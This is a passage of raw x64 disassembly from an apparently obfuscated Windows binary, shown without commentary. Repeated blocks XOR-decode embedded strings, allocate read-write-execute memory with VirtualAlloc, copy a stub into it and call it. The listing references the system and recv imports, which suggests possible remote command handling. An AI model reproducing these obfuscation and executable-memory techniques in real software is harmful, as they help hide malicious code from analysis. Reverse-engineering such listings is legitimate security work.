movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140042af0
jmp 0x140042c12
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140042be0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x228], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140042c99
mov rdx, r13
cmp rax, r14
je 0x140042c88
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140042c70
jmp 0x140042c99
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x140042d7f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042cc2
mov r8, r13
jmp 0x140042d5e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042cd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x228]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2d0]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x183]
call fcn.140048b90
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140042f4f
mov r8d, r13d
cmp r15d, 2
jl 0x140042f11
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140042e20
cmp r8d, 0x39
jge 0x140042f4f
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140042f20
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x230], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140042fd9
mov rdx, r13
nop dword [rax]
cmp rax, r14
je 0x140042fc8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140042fb0
jmp 0x140042fd9
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400430bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043002
mov r8, r13
jmp 0x14004309e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043010
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x230]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2d8]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x184]
call fcn.140048bd0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140043292
mov r8d, r13d
cmp r15d, 2
jl 0x14004325b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140043170
jmp 0x140043292
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140043260
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x238], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140043319
mov rdx, r13
cmp rax, r14
je 0x140043308
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x1400432f0
jmp 0x140043319
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400433ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043342
mov r8, r13
jmp 0x1400433de
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043350
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x238]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2e0]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x185]
call fcn.140048c10
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400435d2
mov r8d, r13d
cmp r15d, 2
jl 0x14004359b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400434b0
jmp 0x1400435d2
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400435a0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x240], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140043659
mov rdx, r13
cmp rax, r14
je 0x140043648
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140043630
jmp 0x140043659
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004373f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043682
mov r8, r13
jmp 0x14004371e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043690
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x240]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2e8]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x186]
call fcn.140048c50
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140043912
mov r8d, r13d
cmp r15d, 2
jl 0x1400438db
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400437f0
jmp 0x140043912
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400438e0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x248], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140043999
mov rdx, r13
cmp rax, r14
je 0x140043988
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140043970
jmp 0x140043999
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x140043a7f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400439c2
mov r8, r13
jmp 0x140043a5e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400439d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x248]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2f0]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x187]
call fcn.140048c90
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140043c52
mov r8d, r13d
cmp r15d, 2
jl 0x140043c1b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140043b30
jmp 0x140043c52
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140043c20
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x250], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140043cd9
mov rdx, r13
cmp rax, r14
je 0x140043cc8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140043cb0
jmp 0x140043cd9
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x140043dbf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043d02
mov r8, r13
jmp 0x140043d9e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
